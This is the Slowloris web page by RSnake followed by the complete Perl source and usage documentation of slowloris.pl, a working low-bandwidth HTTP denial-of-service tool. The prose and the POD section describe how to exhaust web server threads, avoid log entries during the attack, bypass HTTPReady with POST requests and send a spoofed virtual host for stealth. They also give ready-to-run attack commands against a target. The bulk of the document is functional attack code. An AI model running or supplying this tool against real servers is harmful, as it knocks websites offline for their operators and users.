Slowloris HTTP DoS

Slowloris HTTP DoS

CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
 ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
   .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
       .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client!

Written by RSnake with help from John Kinsella, IPv6 version by Hugo Gonzalez and a dash of inspiration from Robert E Lee.

UPDATE 3: IPv6 version provided by Hugo Gonzalez.

UPDATE 2: Video presentation of Slowloris at DefCon (the middle section of the presentation) can be seen here: Hijacking Web 2.0 Sites with SSLstrip and SlowLoris -- Sam Bowne and RSnake at Defcon 17.

UPDATE: Amit Klein pointed me to a post written by Adrian Ilarion Ciobanu written in early 2007 that perfectly describes this denial of service attack. It was also described in 2005 in the "Programming Model Attacks" section of Apache Security. So although there was no tool released at that time these two still technically deserves all the credit for this. I apologize for having missed these.

In considering the ramifications of a slow denial of service attack against particular services, rather than flooding networks, a concept emerged that would allow a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports. The ideal situation for many denial of service attacks is where all other services remain intact but the webserver itself is completely inaccessible. Slowloris was born from this concept, and is therefore relatively very stealthy compared to most flooding tools.

Slowloris holds connections open by sending partial HTTP requests. It continues to send subsequent headers at regular intervals to keep the sockets from closing. In this way webservers can be quickly tied up. In particular, servers that have threading will tend to be vulnerable, by virtue of the fact that they attempt to limit the amount of threading they'll allow. Slowloris must wait for all the sockets to become available before it's successful at consuming them, so if it's a high traffic website, it may take a while for the site to free up it's sockets. So while you may be unable to see the website from your vantage point, others may still be able to see it until all sockets are freed by them and consumed by Slowloris. This is because other users of the system must finish their requests before the sockets become available for Slowloris to consume. If others re-initiate their connections in that brief time-period they'll still be able to see the site. So it's a bit of a race condition, but one that Slowloris will eventually always win - and sooner than later.

Slowloris also has a few stealth features built into it. Firstly, it can be changed to send different host headers, if your target is a virtual host and logs are stored seperately per virtual host. But most importantly, while the attack is underway, the log file won't be written until the request is completed. So you can keep a server down for minutes at a time without a single log file entry showing up to warn someone who might watching in that instant. Of course once your attack stops or once the session gets shut down there will be several hundred 400 errors in the web server logs. That's unavoidable as Slowloris sits today, although it may be possible to turn them into 200 OK messages instead by completing a valid request, but Slowloris doesn't yet do that.

HTTPReady quickly came up as a possible solution to a Slowloris attack, because it won't cause the HTTP server to launch until a full request is recieved. This is true only for GET and HEAD requests. As long as you give Slowloris the switch to modify it's method to POST, HTTPReady turns out to be a worthless defense against this type of attack.

This is NOT a TCP DoS, because it is actually making a full TCP connection, not a partial one, however it is making partial HTTP requests. It's the equivalent of a SYN flood but over HTTP. One example of the difference is that if there are two web-servers running on the same machine one server can be DoSed without affecting the other webserver instance. Slowloris would also theoretically work over other protocols like UDP, if the program was modified slightly and the webserver supported it. Slowloris is also NOT a GET request flooder. Slowloris requires only a few hundred requests at long term and regular intervals, as opposed to tens of thousands on an ongoing basis.

Interestingly enough, in testing this has been shown in at least one instance to lock up database connections and force other strange issues and errors to arise that can allow for fingerprinting and other odd things to become obvious once the DoS is complete and the server attempts to clean itself up. I would guess that this issue arises when the webserver is allowed to open more connections than the database is, causing the database to fail first and for longer than the webserver.

Slowloris lets the webserver return to normal almost instantly (usually within 5 seconds or so). That makes it ideal for certain attacks that may just require a brief down-time. As described in this blog post, DoS is actually very useful for certain types of attacks where timing is key, or as a diversionary tactic, etc....

This affects a number of webservers that use threaded processes and ironically attempt to limit that to prevent memory exhaustion - fixing one problem created another. This includes but is not necessarily limited to the following:

Apache 1.x
Apache 2.x
dhttpd
GoAhead WebServer
WebSense "block pages" (unconfirmed)
Trapeze Wireless Web Portal (unconfirmed)
Verizon's MI424-WR FIOS Cable modem (unconfirmed)
Verizon's Motorola Set-Top Box (port 8082 and requires auth - unconfirmed)
BeeWare WAF (unconfirmed)
Deny All WAF (unconfirmed)
Flask (development server)
There are a number of webservers that this doesn't affect as well, in my testing:

IIS6.0
IIS7.0
lighttpd
Squid
nginx
Cherokee (verified by user community)
Netscaler
Cisco CSS (verified by user community)
This is obviously not a complete list, and there may be a number of variations on these web-servers that are or are not vulnerable. I didn't test every configuration or variant, so your mileage may vary. This also may not work if there is an upstream device that somehow limits/buffers/proxies HTTP requests. Please note though that Slowloris only represents one variant of this attack and other variants may have different impacts on other webservers and upstream devices. This command should work on most systems, but please be sure to check the options as well:

perl slowloris.pl -dns example.com

Requirements: This is a Perl program requiring the Perl interpreter with the modules IO::Socket::INET, IO::Socket::SSL, and GetOpt::Long. Slowloris works MUCH better and faster if you have threading, so I highly encourage you to also install threads and threads::shared if you don't have those modules already. You can install modules using CPAN:

perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'
The IPv6 version needs:
perl -MCPAN -e 'install IO::Socket::INET6'
perl -MCPAN -e 'install IO::Socket::SSL'
Windows users: You probably will not be able to successfuly execute a Slowloris denial of service from Windows even if you use Cygwin. I have not had any luck getting Slowloris to successfuly deny service from within Windows, because Slowloris requires more than a few hundred sockets to work (sometimes a thousand or more), and Windows limits sockets to around 130, from what I've seen. I highly suggest you use a *NIX operating system to execute Slowloris from for the best results, and not from within a virtual machine, as that could have unexpected results based on the parent operating system.

Version: Slowloris is currently at version 0.7 - 06/17/2009 and 0.7.1 (IPv6 version) - 04/02/2013

Download: slowloris.pl or slowloris6.pl (IPv6 version)

Getting started: perldoc slowloris.pl or perldoc slowloris6.pl

Issues: For a complete list of issues look at the Perl documentation, which explains all of the things to think about when running this denial of service attack.

Thanks: Thank you to John Kinsella for the help with threading and id and greyhat for help with testing. Big thanks to Hugo Gonzalez for IPv6 too!















===========================================================================================


#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

print <<EOTEXT;
CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888\@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
 ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
   .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
       .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);

if ($version) {
    print "Version 0.7\n";
    exit;
}

unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;

    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";

    if ($usemultithreading) {
        domultithreading($connections);
    }
    else {
        doconnections( $connections, $usemultithreading );
    }
}

sub doconnections {
    my ( $num, $usemultithreading ) = @_;
    my ( @first, @sock, @working );
    my $failedconnections = 0;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
    while (1) {
        $failedconnections = 0;
        print "\t\tBuilding sockets.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 0 ) {
                if ($ssl) {
                    if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}

__END__

=head1 TITLE

Slowloris

=head1 VERSION

Version 0.7 Beta

=head1 DATE

06/17/2009

=head1 AUTHOR

RSnake <[email protected]> with threading from John Kinsella

=head1 ABSTRACT

Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.

=head1 AFFECTS

Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?

=head1 NOT AFFECTED

IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?

=head1 DESCRIPTION

Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.

As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.

=head2 Testing

If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:

=head3 Testing Example:

./slowloris.pl -dns www.example.com -port 80 -test

This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).

=head2 HTTP DoS

Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.

=head3 HTTP DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

=head2 HTTPReady Bypass

HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.

=head3 HTTPReady Bypass Example

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready

=head2 Stealth Host DoS

If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.

=head3 Stealth Host DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com

=head2 HTTPS DoS

Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.

=head3 HTTPS DoS Example:

./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

=head2 HTTP Cache

Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.

=head3 HTTP Cache Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache

=head1 Issues

Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.

Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.

For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD.

Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.

=head1 What is a slow loris?

What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:

http://www.youtube.com/watch?v=rLdQ3UhLoD4